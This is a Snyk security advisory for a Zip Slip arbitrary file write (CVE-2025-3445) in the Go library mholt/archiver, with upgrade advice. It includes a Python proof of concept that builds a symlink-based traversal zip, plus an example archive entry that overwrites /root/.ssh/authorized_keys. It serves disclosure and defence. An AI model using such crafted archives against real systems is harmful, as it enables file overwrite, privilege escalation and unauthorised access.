Arbitrary File Write via Archive Extraction (Zip Slip) Affecting github.com/mholt/archiver package, versions >=3.0.0 <4.0.0-alpha.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.09% (28th percentile)

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  • Snyk IDSNYK-GOLANG-GITHUBCOMMHOLTARCHIVER-9689905
  • published14 Apr 2025
  • disclosed13 Apr 2025
  • creditOfri Ouzan

Introduced: 13 Apr 2025

NewCVE-2025-3445  (opens in a new tab)
CWE-29  (opens in a new tab)

How to fix?

Upgrade github.com/mholt/archiver to version 4.0.0-alpha.1 or higher.

Overview

github.com/mholt/archiver is a cross-platform, multi-format archive utility and Go library.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) in the Unarchive() function. An attacker can overwrite sensitive files and potentially escalate privileges by supplying a malicious archive file containing symlinks, which is unarchived by the vulnerable application.

Note: This project has been replaced by github.com/mholt/archives and its repository deprecated. The unreleased 4.0.0 version removes the vulnerable function.

PoC

import zipfile
import os
import io

def create_zip(zip_path):
    with zipfile.ZipFile(zip_path, 'w') as zip_ref:
        symlink_target = '../../../here'
        symlink_info = zipfile.ZipInfo('./x')
        symlink_info.external_attr = 0o120777 << 16
        zip_ref.writestr(symlink_info, symlink_target)
        regular_file_content = b'Exploited!\n'
        zip_ref.writestr('./x', regular_file_content)

if __name__ == "__main__":
    zip_path = "exploit.zip"
    create_zip(zip_path)
    print(f"Zip file created at {zip_path} with the specific conditions.")

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

CVSS Base Scores

version 4.0
version 3.1